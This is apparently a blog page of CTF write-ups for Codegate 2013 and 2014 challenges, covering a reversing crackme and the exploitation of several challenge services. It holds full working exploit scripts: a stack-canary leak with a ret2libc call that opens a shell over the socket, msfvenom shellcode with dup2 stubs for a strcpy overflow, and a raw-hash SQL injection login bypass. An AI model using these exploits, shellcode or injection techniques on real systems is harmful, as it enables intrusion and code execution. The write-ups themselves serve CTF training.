Showing posts with label Codegate CTF. Show all posts
Showing posts with label Codegate CTF. Show all posts

Tuesday, February 25, 2014

Codegate CTF Quals 2014 - Angry Doraemon - Pwnable 250 - [Team SegFault]

We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
buf             = dword ptr -16h
.text:0804902F                 mov     dword ptr [esp+8], 6Eh ; nbytes
.text:08049037                 lea     eax, [ebp+buf]
.text:0804903A                 mov     [esp+4], eax    ; buf
.text:0804903E                 mov     eax, [ebp+fd]
.text:08049041                 mov     [esp], eax      ; fd
.text:08049044                 call    _read           ; buffer overflow here 
.text:08049049                 movzx   eax, byte ptr [ebp+buf]
.text:0804904D                 cmp     al, 79h
.text:0804904F                 jnz     canary_check
0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055                 lea     eax, [ebp+buf]
.text:08049058                 mov     [esp+8], eax
.text:0804905C                 mov     dword ptr [esp+4], offset choice ; "You choose '%s'!\n"
.text:08049064                 mov     dword ptr [esp], offset s ; s
.text:0804906B                 call    _sprintf
.text:08049070                 mov     [ebp+n], eax
.text:08049073                 mov     eax, [ebp+n]
.text:08049076                 mov     [esp+8], eax    ; n
.text:0804907A                 mov     dword ptr [esp+4], offset s ; buf
.text:08049082                 mov     eax, [ebp+fd]
.text:08049085                 mov     [esp], eax      ; fd
.text:08049088                 call    _write
This is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]
Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.

We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]
Below is the final exploit:
#!/usr/bin/env python

import struct
import socket
import time

ip = '127.0.0.1'
ip = '58.229.183.18'
port = 8888

canary = 0x008bc384
ebp = 0xbfb0a7d8

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(3)

soc.recv(8192)
soc.send("4\n")
time.sleep(1)

soc.recv(512)
canary = struct.pack(">I", canary)

payload  = "n" * 10
payload += canary
payload += "A"*12      # padding
payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc
payload += struct.pack("<I", 0xdeadbeef)
payload += struct.pack("<I", ebp-16)
payload += "sh<&4 >&4\x00"

soc.send(payload + "\n")
soc.send('cat /home/angry_doraemon/key\n')
print soc.recv(1024)
Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

Codegate CTF Quals 2014 - dodoCrackme - Reverse 200 - [Team SegFault]

The binary starts with mmap() syscall to allocate a memory of 0x7530 bytes.
.text:00000000004000E0 exit:                                  
.text:00000000004000E0                 mov     eax, 3Ch
.text:00000000004000E5                 mov     edi, 0
.text:00000000004000EA                 syscall
.text:00000000004000EC                 mov     r9d, 0
.text:00000000004000F2                 mov     r8, 0FFFFFFFFFFFFFFFFh
.text:00000000004000F9                 mov     r10d, 22h
.text:00000000004000FF                 mov     edx, 3
.text:0000000000400104                 mov     esi, 7530h
.text:0000000000400109                 mov     edi, 0
.text:000000000040010E                 mov     eax, 9
.text:0000000000400113                 syscall                 ; mmap
.text:0000000000400115                 cmp     rax, 0
.text:0000000000400119                 jle     short exit
.text:000000000040011B                 mov     rbp, rax
.text:000000000040011E                 add     rbp, 3A98h
The allocated memory is then used as stack for performing memory operations. There is lot of lea, inc, dec instructions throughout the binary to compute values. Below is the syscall to write() to print chr(r) and chr(o)
.text:0000000000400276                 lea     rbp, [rbp+8]
.text:000000000040027A                 dec     byte ptr [rbp+0]
.text:000000000040027D                 dec     byte ptr [rbp+0]
.text:0000000000400280                 dec     byte ptr [rbp+0]
.text:0000000000400283                 mov     eax, 1
.text:0000000000400288                 mov     edi, 1
.text:000000000040028D                 mov     rsi, rbp
.text:0000000000400290                 mov     edx, 1
.text:0000000000400295                 syscall                 ; r
.text:0000000000400297                 dec     byte ptr [rbp+0]
.text:000000000040029A                 dec     byte ptr [rbp+0]
.text:000000000040029D                 dec     byte ptr [rbp+0]
.text:00000000004002A0                 mov     eax, 1
.text:00000000004002A5                 mov     edi, 1
.text:00000000004002AA                 mov     rsi, rbp
.text:00000000004002AD                 mov     edx, 1
.text:00000000004002B2                 syscall                 ; o
What I can see is that, value pointed by RBP is being operated upon to create needed characters. Few more system calls prints root@localhost's password: .
[ctf@renorobert codegate14]$ ./crackme_d079a0af0b01789c01d5755c885da4f6 
root@localhost's password: asdfghjkl
Permission denied (password).
Supplying a wrong key prints Permission denied (password). and a maximum of 32 characters are read. Then I decided to break at read() syscall to inspect memory. The idea was to check if all the operations and memory referred by RBP, left the key or any interesting string in the mmap'ed area.
gdb-peda$ break *0x00000000004065AA
gdb-peda$ x/600x $rbp
0x7ffff7ff9b30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b38: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b40: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b58: 0x48 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b68: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b78: 0x50 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b88: 0x50 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
All these bytes yields the flag H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

Sunday, March 3, 2013

Codegate 2013 Quals - Vuln 100 [ Failed Attempt ] & Updated Solution

As the title says this is not a working solution for vuln 100 but just a description of my approach to exploit the given x86_64 binary. The service running on port 6666 asks 3 questions, once we successfully answer the quiz it asks for our nickname. Supplying a nickname of 272 bytes will completely overwrite the destination pointer of strcpy() call. After this when strcpy() is called, it tries copying the data passed to it to the overwritten destination pointer. With this we can write anything anywhere in memory. Since strcpy() is used, we cannot have NUL byte in our string.

The idea of exploit was to pass 270 bytes of data, overwrite destination pointer of strcpy() with a stack address thats 264 bytes away from the address where rip is saved. Thus when strcpy is called to copy the same data, it will overwrite the saved rip with the address of strcpy()'s destination pointer. But the issue here is we should know the address in stack where rip is saved for the funtion at 0x400c69.

Though I managed to write an exploit under gdb session where I know the address at which rip is saved, bruteforce of stack address didn't help in the case of remote machine. Below is the POC exploit:
#!/usr/bin/env python

import struct
import socket
import time

host = "192.168.56.110"
#host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD=/usr/bin/id -a x86_64 -b '\x0a\x00' # 95 bytes
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xa1\x4a\x74\xe7\x7a\x9b\x43\xfc\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x71\x2c" +
             "\x7e\x32\x20\x6c\x9e\xc8\x24\x5b\x94\x12\x9b\x10\xb4\x28" +
             "\xad\x1c\xca\x19\x9b\x43\xb4\x28\xac\x26\x0f\x76\x9b\x43" +
             "\xfc\x8e\x3f\x07\x95\x55\xf9\x2a\x92\x8e\x23\x10\xe7\x2c" +
             "\xcc\x0b\x75\x47\x45\x71\xe7\x7a\x9b\x43\xfc")

""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x8                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x08\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
print soc.recv(1024)

soc.send("arsenal\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
print soc.recv(1024)
time.sleep(0.5)

soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffdd28 - 264)) # 272 bytes overwrites pointer
print soc.recv(256)
print soc.recv(256)
[ctf@renorobert CodeGate]# python try.py
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.



It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)

good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)

good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)

good!3
rank write! your nickname:

uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
This was tested against ubuntu 12.04 x86_64 machine. May be I should have used different approach or tried information leak.
UPDATED SOLUTION:
Finally managed to solve the challenge, though the exploitation technique is not much reliable. This was the idea
[*] Perform a one byte overflow on the destination pointer of strcpy() using bruteforce
[*] If the destination pointer and the address where rip is saved differs only by last byte, strcpy() can end up copying bytes like our previous exploitation technique and jump into shellcode.

Above idea didn't work out but resulted in leaking some stack data
for i in range(1,256):
    soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("B",i) + "\x00")
strcpy()  
0x400cd5: mov    rdx,QWORD PTR [rbp-0x118]
0x400cdc: mov    rax,QWORD PTR [rbp-0x8]
0x400ce0: mov    rsi,rdx
0x400ce3: mov    rdi,rax
0x400ce6: call   0x400a30 <strcpy@plt>
0x400ceb: mov    rax,QWORD PTR [rbp-0x8]      ; destination pointer moved into rax after call to strcpy()
0x400cef: mov    QWORD PTR [rip+0x2013e2],rax # 0x6020d8
0x400cf6: leave  
0x400cf7: ret

send()
0x401252: mov    rsi,QWORD PTR [rip+0x200e7f] # 0x6020d8 ; buffer address for send()
0x401259: mov    eax,DWORD PTR [rbp-0x8]
0x40125c: mov    ecx,0x0
0x401261: mov    edi,eax
0x401263: call   0x400a20 <send@plt>
Information leak occurs because as we bruteforce the destination pointer with memcpy() overflow, strcpy() will itself overwrite the destination pointer before it being saved to 0x6020d8. Since strcpy adds a NUL termination, this lowers the address of destination pointer before handing it over to send(). Thus send() prints additional data from stack. Here is what I got for i == 0x8f
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xe1\xff\xff\xff\x7f\x00\x00\x90\n@\x00\x00\x00\x00\x00\xc0\xe6\xff\xff\xff\x7f\x00\x005\xf2\xde\xf7\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x90\xe0\xff\xff\xff\x7f\x00\x000\xbcy\xf7\xff\x7f\x00\x00\xc8\xe2\xff\xf7\xff\x7f\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\xeb\x0c@\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xc8\xe6\xff\xff\xff\x7f\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H1\xc0\xb0!H1\xff@\xb7\x08H1'
We can spot some addresses here: 0x7fffffffe090, 0x7fffffffe1a0, 0x7fffffffe6c0, 0x7fffffffe08f, 0x7fffffffe6c8, 0x7fffffffe2c8. We already have the hint that ASLR is disabled. So we can look at address range starting at 0x7fffffffe000. Performing a bruteforce resulted in code execution at address 0x7fffffffe0a0. This is the final solution:
#!/usr/bin/env python
# sol.py

import struct
import socket
import time

host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD='/bin/cat key' -a x86_64 -b '\x0a\x00' # 95 bytes

shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xb2\xd7\x14\x82\xd9\x2b\xb4\x70\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd8\xec\x4c" +
             "\x1b\x91\x90\x9b\x12\xdb\xb9\x3b\xf1\xb1\x2b\xe7\x38\x3b" +
             "\x30\x7c\xaf\xba\x2b\xb4\x38\x3b\x31\x46\x6a\xd4\x2b\xb4" +
             "\x70\x9d\xb5\x7d\xec\xf6\x48\xd5\x04\x92\xbc\x71\xfb\xd9" +
             "\x7d\xe3\x38\x3b\x31\x1b\x87\xd9\x2b\xb4\x70")
""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x4                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x04\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
soc.recv(1024)

soc.send("arsenal\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffe0a0)) # 272 bytes overwrites pointer
soc.recv(1024)
soc.recv(1024)
print soc.recv(256)
[ctf@renorobert CodeGate]# python sol.py
Key is "Very_G00d_St6rt!!_^^"
So the flag for the challenge is Very_G00d_St6rt!!_^^ but the CTF is over :P More reliable exploit would be nice.

Codegate 2013 Quals - Web 100

We were given the source code of this challenge. To get the flag we have to login as 'admin'. Below is the php code:
$flag = "/flag.txt";
$id = $_POST['user_id'];
$ps = $_POST['password'];
mysql_connect("localhost","codegate","codegate");
mysql_select_db("codegate");

$id = mysql_real_escape_string($id);
$ps = mysql_real_escape_string($ps);

$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");
$row = mysql_fetch_assoc($result);

if (isset($row['user_id'])) {
 if ($row['user_id'] == "admin") {
  echo "hello, admin<br />";
  die(file_get_contents($flag));
 } else {
  die("hello, ".$row['user_id']);
 }
} else {
 msg("login failed..");
}
The issue with code is that hash() function which outputs raw binary data leading to SQL injection.
string hash ( string $algo , string $data [, bool $raw_output = false ] )
raw_input:
When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.
To bypass the login, we need to find a value that when hashed with whirlpool results in string containing '='
<?php
for($i=0 ;$i<10000000; $i++)
    if(strpos(hash("whirlpool",$i, true),"'='") !== false)
        echo $i."\n";
?>
[ctf@renorobert CodeGate]# php brute.php 
364383
527980
629987
708365
991410
1311789
1608604
1974557
^C
Logging in with the above passwords results in login bypass. The flag for the challenge is DAER0NG_DAER0NG_APPLE_TR33